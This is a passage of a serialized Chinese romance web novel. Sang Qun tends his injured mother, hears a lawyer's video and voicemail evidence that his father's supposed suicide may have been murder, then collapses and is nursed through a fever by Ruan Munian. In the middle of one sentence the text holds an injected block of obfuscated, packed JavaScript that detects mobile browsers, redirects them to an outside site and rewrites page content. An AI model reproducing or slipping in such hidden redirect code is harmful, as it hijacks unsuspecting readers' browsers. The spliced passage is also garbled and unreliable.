“别啊,我替你去。” “……你?” “别这样看着我呀,招待人我还是略懂的。” 桑群想了想,竟觉得可行:“那我问下主管可不可以。” 阮牧年点头:“你在医院好好陪着阿姨,就当是休假两天了。” 桑群看了他一眼,休假吗,可能没那么轻松,阮牧年没问他到底跟桑母聊了什么,可从自己的反应来看,总不会是什么鸡毛蒜皮的小事。 他没有主动提及,阮牧年也就跟着他装傻揭过去,但他心里清楚,这件事不可能放任不管。 回到病房内,桑母躺在病床上沉默地盯着天花板,床头柜还放着那份被她抓皱的账单。 很幸运,今天医院没有满床,这间病房只有桑母一人入住。 陪床亲属自然可以躺在空病床上。 临睡前,他们之间依旧没有对话,桑母发着呆,看室内的灯光从亮转暗。 还以为儿子准备就这么睡下,却听旁边床传来桑群沉稳的嗓音:“……你想见那个人,对吗?” 桑母看向他。 “可以,”桑群说,“但我要求陪同。” 69. 69 “78.5千焦。” “39.25千焦。” 阮牧年信誓旦旦:“绝对是78.5,前面那段运动可是正量。” 宁舟摇头:“小球后面还有一段负量圆弧运动,抵消了。” “那段圆弧是跟另一段抵消的,”阮牧年强调,“示意图就是这样的,题目没说明白,78.5比较保险。” “以题目为准,39.25更保险。” “……” “……” 两人僵持住,彼此对视了一眼。 宁舟:“题目错了。” 阮牧年:“正解。” 刷刷两下,又一份卷子写完,宁舟翻页把它垫到菜单最底下。 眼下客人不多,阮牧年拿着传单扇风:“你们南中怎么这么喜欢出这种争议题,我物理作业第一天就写完了。” 宁舟拿笔往菜单上戳了戳:“……没人问你。” “唉,真无聊,”阮牧年穿着桑群的工作服,松了松领口,“你小男友今天怎么没来找你?” 宁舟:“……我跟他只是同学。” “差不多啦,男性朋友简称男友嘛,”阮牧年摆手,“你也这样逗过我哦。” “今天风大,他估计不出门了,”宁舟瞥了他一眼,“所以,你男、友怎么请假了?” “他家里有点事啦,我替两天,”阮牧年眼睛一亮,对远处的人招了招手,“你也有失算的时候啊,瞧,他这不是来了吗?” 宁舟皱了皱眉:“这个天气你跑出来干什么?” “没人说今天不能出门吧?”杜闵反驳他,然后转头跟阮牧年打招呼,“诶,牧年?今天怎么是你在这里啊。” “桑群有事我替他两天,”阮牧年笑了笑,“你这个墨镜好酷,在哪里买的啊?” “啊,我在国外买的,”杜闵抬起墨镜,吸了吸鼻子,“忘记叫什么牌子了,我回去……呜。” 一滴眼泪猝不及防地从他眼眶里流下,阮牧年慌了:“怎、怎么了?” 旁边的宁舟及时递出备好的纸巾,按到他眼睛上:“都叫你不要出门了。” “今天又没下雨,”杜闵捂着眼睛缓了一会儿,“不好意思,我去室内坐一会儿。” 说完,他径直往休息室走去。 阮牧年担忧地问:“他这是怎么回事?” “一点老毛病,”宁舟没多说,只道,“跟你说的话没关系。他这学期刚回国,那副眼镜估计很贵。” “回国?”阮牧年惊讶,“他是……” 宁舟:“是中国人,不是外侨。” 阮牧年嘟囔:“亏我还觉得你们应该是一起长大的。” 宁舟看了他一眼:“为什么这么觉得?” “直觉呀,”阮牧年说,“桑群就是这样照顾我的。” 宁舟:“没记错的话,你应该年纪大点。” “年纪大点怎么了?现在都讲究童心,”阮牧年弹了一下手里的传单,“你要不要去看看他?这里有我顶着。” 宁舟眼神松动了一下,抽出菜单底下的卷子:“多谢。” “见外啦。” 还好现在客人不多,阮牧年无聊地看着店外三三两两的行人,思索找个时间跟桑群打电话。 昨晚睡在桑群的床上,没人抱,凉凉的,他们什么时候回来呢?希望阿姨快点好起来吧,毕竟没多久就要过年了。 熬到下一个休息时间,阮牧年揣着手机躲到那个废弃仓库,拨出电话。 那边很快接起来,桑群端庄却有些疲惫的声音传出:“您好,今老板最近身体抱恙,她的工作来电由我转接,我是销售经理阮群……” 阮牧年差点憋不住笑:“你的手机也有阿姨的工作来电吗?” 那边的声音顿了顿,桑群放松声线:“……年年?” “被我抓个正着了吧,”阮牧年阴沉地说,“老实交代!阮群是谁?” “呃,”桑群无奈解释,“一个化名。之前帮我妈谈合同,总不能让人家知道我是她儿子。” “喔,好吧,”阮牧年煞有其事道,“阮经理,我有要事汇报。” 桑群:“什么事?” “你的被窝太冷了,再睡下去会感冒的,”阮牧年控诉道,“你们什么时候回来?” “哦,这件事……我们会尽快,”桑群公事公办道,“还有什么事吗?” 阮牧年拉长声调:“年年想你啦。” 桑群闷笑一声:“嗯,知道了。” “你呢?没什么表示吗?” 等了半天也没动静,阮牧年失望地关掉录音,还以为能听到桑群的好话呢。 结果那头传来一声轻轻的气音:“么。” “一样的。”桑群说。 “!” 可恶,录音关早了。 又缠着桑群说了好一会儿黏糊话,他才恋恋不舍回去工作,桑群捏着灭掉的手机,唇边噙着一抹连他自己也没意识到的笑意。 回到病房,桑母迷惑地打量了他一眼:“跟女朋友电话呢?满脸春风。” “什么,”桑群怔了怔,这么明显吗,他正了脸色,“你约好时间了没?” “约好了,他到时候会来医院跟我们见面,”桑母担忧地看着他,“你这几天是不是太忙了点?我是腿伤了,又不是脑袋伤了,怎么连我的电话都揽走了……” “医生说情绪会影响伤势恢复,”桑群说,“你得静养。” 桑母冷哼一声:“医生的狗腿子。” “……你说话注意点,”桑群头疼,“这门不隔音。” “我收着音量呢。” 桑群在她床边坐下:“……如果那真是一个骗子,你要怎么办?” “我早就考虑好了,”桑母说,“死者为大,他要是敢捏造事实,诽谤罪告死他。” 桑群扶额:“你悠着点。” 桑母捏了捏床单,轻轻叹了口气:“……我等不及了。” “这么多年都等来了,”桑群拍了拍她,床头柜上的手机又响起来,“好像是客户,午饭秀姨去食堂打了,你待会儿先跟她吃着。” “知道了知道了,”桑母摆手,“赶紧去忙您的工作吧,阮经理。” 在医院住下的这几天,比起阮牧年说的休假两天,桑群觉得比之前兼职还要忙了。 早上要早起去打饭,回来伺候病人,满足各种移动需求,然后就是接连不断的工作电话,还得抽空跟他妈谈一下面见那个律师需要注意什么,以及自己补充学习一些相关的法律知识。 这些天阮牧年都没怎么打扰他,每天也就固定时段一个电话过来,剩余全是消息,他有时几小时后才看到。 尽管如此,被年年骚扰的电话时间依旧是他最放松的时候。 只是这天,可能要暂时鸽掉了。 桑群低头看了眼手机上的时间,对面前西装革履的男人点了点头:“林先生是吧?您好,我是桑远的儿子,桑群。” “你好,”林律师跟他握了握手,“没想到你都这么大了。” 桑群皮笑肉不笑:“十年谁会没变化呢?” 林律师似乎被刺了一下,没再跟他寒暄,两人沉默地来到桑母的病房。 桑母跟林律师交谈了几句,桑群坐在另一边,安静地听他们的对话。 林律师说自己是桑远的好友,桑母打量了他很久,似乎有点印象。 “当年的事情……我很抱歉,”林律师摘下眼镜,“后来桑远取消了委托,我以为他找到了别的办法,就专心去忙别的案子了。却没想到……听闻噩耗的时候,我被手上的案子缠着,没精力再出面帮他。” 桑母:“他委托了你什么?” “其实您应该都知道了,”林律师看了一眼那份账单,“他想要我帮他伪造意外死亡的证明,借此赚取他早年买下的保险赔偿金。” 桑母嗓音一紧:“你是说,他一开始就……” “原本是这样的,您先别激动,”林律师连忙安慰她,“一开始我也一直劝他,不要想不开,后来他都取消委托了!我以为他回心转意了,却没料到后面会发生那样的事情。” 桑母盯着他:“那你说的证据又是什么?” “是这样的,当年的案子我打听过,内部判决都是畏罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356347|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自杀,”林律师说,“那时已经结案,而且也没什么纰漏,所以我就没再追究。但是最近,我负责了一起失窃案的官司,原告正好就住在你们当年那片房子附近,他给了我一份附近商户的监控录像,我看了录像,发现里面的场景非常眼熟,好像就是当年你们住的那栋楼。 “后面我找店家问了,那个老人家一直存着这些年的录像,他不会清除数据垃圾,就全留下来了。我按着日期往前找,真的找到了一小段录像,喏,我存在手机里了。” 他点开那段录像,母子俩都凑过去看。 夜深人静的街道上,年久失修的路灯不规律地频闪着,不远处居民楼的铁门前,一个高大的身影拎着什么东西走进去。 林律师按了暂停:“这个人是桑远,结合他的身形还有路灯照出的一部分衣料,应该没错吧?” “没错,”桑母盯着屏幕上那个小小的身影,音调发紧,“是他。” “在他进楼后的十分钟,另一个人也进去了,”林律师拉动进度条,视频时间相隔十分钟,又一道身影出现,“这个人遮得很严实,那时候的录像画质很糊,暂时判断不出他是男是女。” “当然,他也可能是住户,但是你们看旁边的楼道窗户,”林律师来回拉动进度条,“可以看见桑远上楼的时候,所有楼层的声控灯都亮了一遍,说明他是一路走到顶楼的,而这个人也一样。” “这个监控安在一楼,广角也照不到顶楼的情况,”林律师说着,往后拉了差不多十几二十分钟,“一段时间后,你们看这里,楼房边缘有一块黑影,我调个最慢倍速。” 桑群冷声:“有人掉下来了。” “没错,”林律师点头,“你们再往后看,这个人又待了十分钟才下楼。” 依旧是楼道灯从高到低亮了一遍,那道神秘的黑影从居民楼大门离开,脚步甚至有些气定神闲。 桑母出声:“他手上是不是拿了东西?” “我怀疑是。这个时候路灯正好灭了,所以看不清这个人手里有没有东西,”林律师沉声道,“但是桑远上楼的时候拿了,这个录像里非常清楚。那个东西如果没在桑远手上,没在顶楼,只有可能被这个人拿走了!” 桑群皱眉:“什么东西?钱?” “不可能,我们那个时候哪里拿得出这么多现金,”桑母摇头,“不可能是钱。” 不是钱,会是什么东西? 三人一时无话,桑群抿着唇,忽然想起那天宁舟说的话。 “在那条巷子深处,藏着一个‘窝点’,是无数赌鬼狂欢的天堂。 “有个外包公司承办了这里,与之相关的所有金钱交易都由某群特定的人来处理。” “不知道你是否听说过‘青巷案’……一个十几二十年前的老案子了,发生在东城那边,那时引起了很大的轰动,一举抓获了当地一股相当庞大的黑恶势力。” 手机上的录像进度条走到最后,开始循环播放起来,视频开头,疑似桑远的黑影走进居民楼,楼道灯接次亮起。 两个大人都在沉默,桑群看着那段视频,开口:“林律师,这点掐头去尾的证据说明不了什么,你约我们见面,就只准备了这个?” 林律师失笑:“好敏锐。不错,这点东西不足以翻案。查出这个录像后,我又去翻了一遍当年的资料,包括委托书,以及各种说明文件,然后我从十年前的旧手机里,翻出了那天晚上桑远打给我的未接来电。 “这些年我一直被悔恨困扰,如果当初桑远取消委托的时候,自己没有安心去处理其他事,会不会有不同的结局?他打来的那两个电话,我因为在跟委托人对细节,都没有接到,后面也一直不敢点开去看……但是前几天,我去翻的时候才发现他居然给我留了言。” 桑母一下子坐直:“他说了什么?” 林律师摸出十年前的老旧智能机,点开音频,那头先是响起一阵刺耳的杂音,接着才是风声和一道温润的男声。 “林律,那份证据你存好了吗?” 第二通未接来电的留言里,桑远的声音几乎跟风声混成一片。 “200……19……5……” 70. 70 纸质文件被不知第几次翻阅的时候,桑群伸手抽走它:“你该睡觉了。” 桑母不满:“这还不到十二点。” “熬夜熬惯了,还当是平时吗?”桑群强硬地把她的床板调低,“赶紧睡觉,有什么事明天再想。” “嘴上说着该睡觉了,实际上你才是最晚睡的那个吧?”桑母动弹不得,只能躺在床上干瞪眼,“昨天我半夜醒来,你都还没睡着。” “我睡着了。” “骗人,你睁着眼睛睡觉吗?” “……你看错了。” 没给她反驳的机会,桑群啪地关掉电灯,然后推门出去:“我去上个厕所。” 实际上病房里也有厕所,他只是找借口出去跟医生谈话。 拿到了前几天的检查报告单,又在护士建议下记了几条注意事项,桑群蹑手蹑脚回来,房间里很安静,他轻声摸到旁边的床,侧躺上去。 窗外遥远的路灯光从边角泄露几分,夜风吹动窗帘簌簌作响,自然白噪音相当催眠。 桑群望着窗外,没有丝毫睡意。 睡不着。 当然睡不着了。 白天接收了那么多信息量,各种谜团,还有没处理好的事务,怎么可能安心入睡。 一旦闭上眼,那段视频就会在眼皮上播放起来,走动的人影,接次亮起的楼道灯,从空中疾速坠落的黑块…… 桑群盯着窗边飘动的帘子,某个瞬间,它似乎能跟窗框组成一个可怖的人脸。 这是他小学时就拥有的能力,能将黑暗中的各种物体重新组合成可怕的事物,最常见的就是鬼脸、骷髅以及眼睛。 还记得第一次告诉阮牧年这件事的时候,胆小鬼吓得浑身发抖,抓着他的衣服不敢放开。 “好、好可怕,你不要再说了!” 桑群看着眼前这个人脸,跟别人待在一块,第一次觉得它也不是那么可怕。 后来阮牧年得知他还能看见坏东西,就伸手把他的脑袋抱进怀里。 “不要看了……桑桑不怕,年年保护你,”明明自己的声音都在颤抖,阮牧年还是坚定地抱着他,“我们抱在一起,鬼怪就不会伤害我们了。” 歪理,桑群逗他说,两个小朋友抱在一起就跟买一送一的汉堡一样,鬼怪看了只会高兴地嗷呜一口全吞掉。 “不会的、不会的,”阮牧年摇头说,“要吞也是先吞我,我抱着你呢,等它不注意的时候,我就放手,你一定要跑掉!” 他怎么舍得丢下年年不管,于是两个小朋友讨论了一晚上,已经全然忘记了鬼怪的可怕,只顾着商量到底是同归于尽还是一起逃跑。 这样回忆了一会儿,心情好像平静了不少。桑群看着那个窗户,开始怀念阮牧年怀里的味道。 睡不着啊。 如果有人抱着就好了。 夜晚漆黑漫长,窗外的天幕几乎没有变动,只有一缕稀薄的云彩在角落移动了一个锐角,就消失不见了。 临近天亮,桑群终于感受到迟来的睡意,意识开始模糊。 没模糊多久,枕头下垫的手机闹钟开始震动,他瞬间醒神,伸手掐掉闹钟。 回头看了一眼,桑母还在熟睡。他轻手轻脚下床,关门洗漱,然后换衣服下楼。 这个点,医院的食堂差不多开放了。他打了点稀饭,又到茶水间装了壶开水,拎回来的时候,桑母差不多醒了。 扶着她进厕所,外面电话又响起来,桑群接起来,是老客户对一批货不满意,他耐着性子跟对面解释,电话挂断后,又接连联系了几个相关负责人,筛查问题来源。 吃过饭,外面的太阳正好,桑母提出要下楼转转,桑群借来轮椅,推着她在一楼的林道间走了两圈,碰上秀姨过来探望,两个大人在花园边聊天,他拿着手机找了个角落继续沟通早上的问题。 最后发现确实是他们厂商的问题,追究完责任后,还要跟客户聊赔偿,他边打边走到食堂,打了份午饭拎回病房。 正午时分,秀姨推着桑母回来了,留她俩在房里吃饭,桑群去了趟护士站拿药,询问之后的治疗以及复查时间,顺便查看阮牧年发来的消息。 差不多找个空位坐下,小年糕的电话就打来了,跟他腻一会儿,疲惫的身心都被治愈了不少。 接着回到病房,督促桑母吃药、午睡,他又出去找了个没人的楼道角落,搜索案件相关的信息,以及那串数字,中间接了一个林律师的电话,讨论了一些方向,又接了几个新客户来问价格和体量的来电,答复杨先生发来的合作邀请,再通知工厂代理人准备好新年衣装的折扣和优惠,以及工人们的奖金结算…… 不知不觉就到了傍晚,他再跑去打晚饭,秀姨已经走了,桑母在看林律师带来的文件。盯着病人吃饭吃药,每日的查房时间也到了,晚间心理医生都会过来跟桑母聊一会儿。 桑群等在外面,医生出来后又跟他沟通了一下情况。送走医生,桑群又去接了代理人的电话,处理一些突发状况,再回房间,劝桑母不要思虑过重,少胡思乱想。 拌着嘴就到了阮牧年下班的时间,发消息问他回到家了没,然后开始催桑母睡觉,跟年年说晚安,洗漱后躺到床上。 依旧是这个角度,依旧是深沉的夜幕与飘动的窗帘,夜风吹动,组合起来的人脸冲他露出狰狞的笑。 依旧是一夜未眠。 第二天清晨,闹钟准时震动。 一连几天下来,桑母都看不下去了:“不知道的还以为我养了只熊猫……你晚上是一点觉都不睡吗?多少歇一会儿吧。” 桑群正在跟代理人商量滞销货安置,还有一个未接来电没处理,根本没空理她,只是敷衍地摆了摆手。 桑母气得不行,揉了张擦手的纸团砸过去。 谁知桑群竟晃了晃身子,差点撞到旁边的玻璃。 桑母吓了一跳:“桑群?” 桑群刚挂掉代理人的电话,看了眼未接备注,是某个新客户,正在纠结要不要下单,跟他周旋很久了。 他叹了口气,弯腰捡起地上的纸团,刚想教训桑母不要乱扔垃圾,眼前骤然一黑。 啊。 这是怎么了? 很新奇的体验,意识分明还能思考,身体却好像负荷过载坏掉了一般,怎么都运转不起来。 连外界的声音都变得模糊起来。 “……护士,我儿子……太累……” “……需要休息……” “……好,我联系……送他……” 渐渐地,那些对话都归于宁静,四下漆黑,他好像清醒着,又好像在做梦。 他想闭上眼,却发现闭不闭眼,眼前的景象都没有区别。 真是的,累晕了吗,怪丢人的。 不知过了多久,他实在撑不住,迷迷糊糊地睡过去。 好不容易陷入深眠,又被什么动静唤醒了意识。 朦胧的视野里,他似乎看见了老房子爬着两条裂痕的天花板,夜色幽谧,月光柔淡,卧室门一开一合,一道人影站到床边。 他心里一惊,瞬间猜到了来人是谁。 那人静静地站在床边凝视着他,好半晌才伸出手来,替他掖了一下滑落的被褥。 “对不起,小群,”那声音经过无数次回忆磨损,早已听不出最初的音色,桑群却依旧能从中听出那股熟悉的温柔,“爸爸对不起你们……” 不要、不要再梦下去了。 醒来吧。醒来吧。 他拼命想睁开双眼,却发现这只是徒劳。在这一段记忆里,他是被爸爸弄醒却仍然装睡的孩童,自然不能睁开眼。 梦里的一切总是荒谬,紧闭双眼的他也能瞥见父亲熟悉又陌生的模糊面孔。 他所害怕的时刻如期而至,桑远抚摸到他头顶,手掌轻轻盖在他双眼上。 “如果没有……就好了。” 中间那个字眼太低太轻,他始终没有听清,这些年来任凭梦境为他作填。 如果没有你就好了。 没有你。 没有陡升的开销,没有多出来的一张嘴,没有为了满足妻儿对美好生活的向往,他是否就不会鬼迷心窍,铤而走险挪用公款,走到一失足成千古恨的那一步? 爸爸妈妈从清贫携手一起走来,只有他一点苦都吃不了,娇生惯养,要着最好的生活条件,发着最蛮横无理的脾气。 后来经济条件一落千丈,从新房子搬回旧房子,他依旧不明白为什么那些昂贵的东西不能再属于自己,在童言无忌的抱怨中咽下父母饿着肚子省下的一口粮。 应该的、应该的啊。 爸爸怨恨他,是应该的啊。 如果没有他,他们会过得更好,不是吗? 如果没有他就好了。 后背忽然凌空,按在眼睛上的手推了他一把,他骤然睁开眼,只能看见天台栏杆边缘,父亲冷漠的神色越来越远。 好高、好高。 心脏剧烈跳动,强烈的失重感爬满全身,肌肉酸软,喉间胀疼,高空中无可凭依,失控与绝望一同将他淹没。 太高了。 还在往下掉,还在掉。 落地的时候,得有多痛啊? 不要、不要。 他害怕了。 别再让我坠落了。 我不想掉下去。 我不想…… 猛然睁开眼皮醒来的时候,桑群还没从噩梦的余韵中缓过神来,满头大汗地喘着气。 身下好软,这是哪里? 意识逐渐回笼,随之而来的是浑身的难受与沉重感,太阳穴一阵阵刺痛,他抬手想揉,却发现小臂又胀又酸。 床边好像有人,将他按回床上,微凉的指尖碰上穴位,轻柔地按揉起来。 “你醒了,”那人虚虚环抱住他,额头贴上来,十分清凉舒服,“烧还没退,再睡会儿吧。” 视野逐渐清晰,桑群终于看清了面前人的脸。 他张口想说话,喉间忽然一痒,身体不受控制地咳嗽起来。 阮牧年连忙给他拍背:“喉咙难受就别说话了,不要逞强。” 桑群却反抓住他的手,紧紧的。 梦里那种感觉实在难受,高空中只有阮牧年是唯一能拽住他的锚索。 “做噩梦了吗?”阮牧年立刻猜出原因,倾身过来,“哥哥抱,不怕不怕,都是假的。” 桑群沉默地抓上他后背的衣料,埋在阮牧年温热的肩颈间,嗅着那熟悉的味道,终于安心下来。 “抱紧了,不要怕,我抓着你呢,”阮牧年边拍背边轻声哄他,“你醒太早了,才睡没几小时呢。待会儿继续睡好不好?我哄你睡。” 桑群开口,嗓音沙哑得不成样子:“你……怎么……” “阿姨给我打的电话,你都累坏了,”阮牧年半拍半摸,“不要再操心了,医院那边我请了护工,你烧挺高的,在家好好休息几天再说,好不好?” “那你……” “工作没丢,没丢,我找人帮忙啦,”阮牧年慢慢说给他听,“主管本来不太乐意,我劝了他几句,他最后还是答应啦。” “嗯……” “口干不干?要不要喝水?” “……要。” 阮牧年刚起身,衣角就被人拽住,轻飘飘的,一甩就能掉,却可怜地晃在他衣摆下。 他轻笑一声,把那只手握在掌心里:“不走远,开水就在床头柜上呢,你可以一直看着。” 桑群抿了抿唇,别扭地把手抽回来。 倒完水,阮牧年坐到床边扶他起来。架着腋下被抱明明是小孩子的待遇,桑群却不合时宜地体验了一把。 就是阮牧年的手劲太大,抱得轻松,被抱的人软骨有点痛。 桑群皱了皱眉,阮牧年连忙松力:“弄疼你了?” 他摇头,阮牧年端着马克杯递到他嘴边:“喝点水润润喉吧。” 手没力气,阮牧年就亲手喂他喝水,恰到好处地倾杯,恰到好处地拿离,给他咽下去的空档,再凑到唇边。 杯里只倒了百分之七十的水,一点点喝完后,阮牧年拿开杯子,拇指轻轻擦过桑群唇下不慎溢出的水迹,低声道:“喝完了,好棒。” 桑群看了他一眼,终于有力气说话:“高兴么。” “嗯?”阮牧年唇边一直挂着浅淡的笑意,“高兴什么?” “长这么大,终于有……照顾我的时候。”桑群缓缓说道。 “哇,你也知道啊,”阮牧年贴着他靠在床板上,“当初要不是你藏着掖着,我能多当好几年哥哥呢。” “我不撒谎,”桑群想哼一声,声带却变得笨重,只能发出气音,他只好放弃,“你也是……小孩。” 阮牧年偏过头,脸颊跟他贴上,一凉一热,好像冰淇淋泡火锅。 桑群很喜欢这种触感,但理智驱使他伸手推人:“发烧,你……远点。” “不会传染的,”阮牧年捉住他的手握在掌心,一下下捏着,“刚刚给你敷毛巾,打了好几盆凉水。怎么样,摸起来凉快吗?” 桑群弯起手指勾住他,感受了一下:“嗯。” 阮牧年翻过手指扣住他的,挤进指缝里。 习以为常的动作,本不该有更多触动,可高烧使人发昏,似乎能对任何亲近产生依赖与眷恋,触摸和拥抱成了仅此药物的必需品。 热量传递,贴得阮牧年的脸也热起来,桑群撤开一点,躺靠在他肩上。 “年年。”桑群低低出声,嗓音还是嘶哑。 阮牧年捏紧他的手指,应了一声。 桑群闭了闭眼,不久前的恐惧明明刻骨铭心,可当他靠在阮牧年身上,它们又有些不值一提。 但他还是开口了,也许人生病的时候就是喜欢倾诉吧,跟流鼻涕打喷嚏一样,需要把毒素排出体外。 “我又梦到我从高楼上掉下来了。” 阮牧年收紧抱他的手臂,顿了几秒才问:“那我有没有捞起你?” 想起刚惊醒时,被对方按回实地的踏实感,以及之后几乎黏连不断的触碰,桑群点头:“捞住了。” “那就好,”阮牧年松了口气,扣着他的手放到唇边贴了一下,“我说过会一直抓着你的,所以不要害怕。” 桑群却问他:“你那天说,不能解决的事,先享受当下……可我们明明,无时无刻,都在解决它的路上……向着没有结果的结局走,真的对吗?” “有没有结果是因人而异的呀,”阮牧年轻声说,“我举的例子,它们在相关领域的理论层面上,是确凿无疑的‘无解’,可对于一些研究它们的科学家来说,他们早在研究过程中就收获了自己想要的结果。 “你说的没有结果,到底是真的没有,还是你不愿意它有呢?” 桑群沉默了一会儿:“我不知道。” “想不通的话 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“我不……小孩不知道,”桑群生硬地转换主语,“其实他只听见了‘如果没有……就好了’这句话,可后来他经常做噩梦,总觉得他爸爸想说的就是‘如果没有你就好了’。” “主观臆断啊,我不予评价,”阮牧年说,“然后呢?” 又不回答问题,桑群只好继续讲下去:“小孩觉得爸爸恨他,于是他也恨对方抛下他们母子。很多年过去,忽然有一天,小孩的妈妈告诉他,他爸爸不是因为活不下去跳楼的,他买好了保险、请好了律师、准备了意外身亡证明……他是故意跳下去的。” 阮牧年一直轻拍着他的外臂,没说话。 桑群又开始跟他互动:“如果你是那个小孩,你觉得自己会是什么心情?” 阮牧年默了默:“如果有一天你要去当儿童文学作者,可以不要出版吗?拜托了。” “你为什么不回答我的问题?” “故事还没听完啊,”阮牧年无奈道,“就算要我当穿越者,也得知晓全貌吧。” “呲,”啧不出来,桑群只能先发个气音,“小孩的妈妈一直挂念着他爸爸,她知道这件事的时候情绪很不稳定。但就在这时,有人给她打了个电话,自称自己是律师,有爸爸并非自杀的证据。他们见了面,确定小孩的爸爸可能真的是被谋杀的,这个时候,你……” “等一下,”阮牧年及时打断他的互动,“什么证据?” 桑群:“这不重要。如果你是小孩妈妈……” “这很重要,”阮牧年被他的问答搞得头都大了,“他凭什么可以把自杀说成他杀?” 桑群回想了一下:“他有监控录像,那天晚上楼顶不止小孩爸爸一个人,而且那个人可能拿走了小孩爸爸的什么东西。哦,还有小孩爸爸留在未接电话里的求助留言。” 听完他详细描述的证据,阮牧年发问:“十年前的录像、几乎听不清的留言,还有一些随随便便都能造假的文件?” 桑群叹了口气:“尽管如此,小孩妈妈还是选择相信那个律师,她等这一天等太久了。如果你是那个小孩……” “为什么总要别人做角色扮演呢?”阮牧年握着他的手,“如果你是那个小孩,你心里会想些什么?” 桑群被他问住了。 “很难回答吗,大文学家?” “我……很混乱,”桑群垂下眼,“就像你说的,可疑的地方很多,可万一是真的,不应该追查到底吗?当然,对于小孩而言,还有一点很难受。 “人的感情好像就是很复杂,可以爱得理所当然,也可以恨得理直气壮。可一旦发现事实跟自己所想的有出入,就容易陷入纠结……” “我到现在还是难以接受,怎么就变成这样了,”桑群攥紧阮牧年的手指,用尽病中所有力气,“我情愿他是个胆小鬼,懦弱畏缩,自私自利。” 也好过恨了多年以后,才发现父亲爱他们的真相。 阮牧年调整了一下坐姿,侧着让桑群靠得更舒服一些。他单手搂着人,另一只手跟他牵在一起:“你觉得,自己白恨了他这么多年?” “我小时候觉得,爸爸是顶天立地的超人,机器人里面最强最帅的那一个,”桑群靠在他肩上闭着眼说,“可他的形象很快就倒塌了。他犯下了很大的错误,不仅连累了我和我妈,最后还……选择了那么窝囊的结局。我讨厌他,我后悔曾经那么崇拜他,但我其实……更害怕自己会成为他。” “你不会的,”阮牧年拍着他说,“你是最勇敢的勇士大人。” “我是胆小鬼啊。” “不要这么快示弱啊,”阮牧年赶紧用力揉了他两下,“不能泄气。” “或许你是对的,”病中的人总是容易多愁善感,桑群回想起很久以前的对话,无力地在他怀里说,“有时候顶天立地并不能保护什么,塑料袋一样的拥抱却能给人安慰。” “当然了,人们总是不明白塑料袋的伟大。” “你不要碰瓷塑料袋,你比它黏糊多了。” “黏乎乎的不好吗,人伤心的时候,跟别人黏乎乎地待在一起,就会感到安慰。” “……好吧。” 阮牧年抬手顺了顺桑群在床上蹭乱的后发:“所以是因为纠结的情绪,对寻求真相的事情感到难办,对吗?” “……嗯,”桑群说,“你觉得这件事真的会有结果吗?” 陈年旧案,模糊难查的线索,意味不明的留言,桑母视它为希望,林律有心弥补,他却对此感到消极和悲观。 阮牧年问:“你希望有吗?” 桑群:“……我不知道。” “你知道的,”阮牧年却说,“你只是想要别人来帮你盖棺定论。” “……” “不想说吗,”阮牧年拍了拍他的脑袋,“那就先这样吧,现在也不是思考这些的时候。我们先把病养好,等头脑清醒了……” “对,”桑群忽然打断他,“我就是不希望有结果。他死就死了,这么多年过去,是怨是恨都已经模糊,为什么还要再跳出来打搅我们的生活?他欠下的钱,只剩不到一年就能还清,我们就能开始新的生活,他凭什么……” 凭什么要把这一切打乱。 凭什么让妈妈升起虚无缥缈的希望,引她深入那片他们好不容易要走到头的黑暗。 话语到尾音忍不住哽咽,脸上发烫,不知是高烧导致的,还是难以抑制的情绪喷发。 “不想了,我们不想了,好不好?”阮牧年连忙抱紧他,在背上轻柔地拍着,“这些事本来也不该是我们来解决的,不要再给自己压力了……” “年年……” “我在,在呢。” “我好难受。” “生病着呢,是不是坐太久了,再躺一会儿吧。” “……没力气。” “我抱你,”阮牧年扶着他的腰把人放下去,拉过被子盖好,“不想了,先睡一觉再说。” “我不想睡,全是噩梦。” “我陪你睡呢?”阮牧年在他身边躺好,侧过来给他拍肚子,“我们最棒的阿君羊小朋友,辛苦这么久,该奖励自己一顿好眠啦。” 本来很抗拒的,但阮牧年深谙他难以入睡的毛病,早就研究出一套针对方案,轻柔的动作,低缓的哄睡嗓音,还有刻意营造的昏黄环境,柔软温暖的被窝,桑群在他怀里挣扎地说了几句话,最后难抵强烈的疲惫与困意,渐渐睡去。 71. 71 看着身边人的呼吸逐渐平缓下来,阮牧年慢慢停下手里拍人的动作,躺在旁边看他。 终于睡着了。 接到桑母电话的时候,他差点把餐厅的盘子砸了。 听他们说的惊心,什么忽然就倒下来了,还好只是太累太困,摔倒的时候也没有磕到什么东西。 回家后,阮牧年将桑群安顿在床上,结果下午忽然发起烧,红着脸皱着眉怎么也醒不过来。 他拿体温计量了一下,都快40°C了,赶紧去打水物理降温,又给他换掉流汗湿透的衣服……这些对于一个懒蛋来说非常辛苦,照顾病人让他顿悟生活自理好像也不是很麻烦。 傍晚桑群醒来,他本打算去做晚饭,见对方状态不是很好,就陪他说了会儿话。 现在又睡过去了,先去煮点粥温锅里,再拿些退烧药,过几小时叫桑群起床吃饭吃药吧。 忙好这些,他站到窗边,窗户只开了一条缝通风,外面街灯接次亮起,车流人潮穿行,正是晚饭前后最热闹的时候。 年关将近,有些店铺早就挂起红货牌红飘带,宣传新春特惠。 阮牧年按亮手机屏幕,上面有一单未支付的动车票。 他想了想,还是取消了。 桑母出事那晚他就开始犹豫,现在听完桑群的烦恼,才下定决心。 时间和时机都不太合适。 他得临时换个方案了。 没想到,这几天发生了这么多事,关于桑群提到的十年前的疑案,他始终持观望态度。虽然不是不知道他们家当年发生了什么,但他了解的终归比桑群本人了解的少。 甚至是桑群对这件事的态度,他也是今天才明白。 亲人之间的羁绊,他很少能体会到,最多从桑群和桑母这里感受到无下限的宠爱。 那种复杂的感情,大概很难理解。 但是,正如他所说,这种事不该由他们来头疼和思考。 得让桑群放松下来。 脑海中隐隐浮现出一个点子,阮牧年支着脑袋在窗边发呆,不知不觉就到了深夜。 糟糕,饭还没吃呢。 他往床边走去,正要叫人,却发现桑群的双眼不知何时睁开了一条缝。 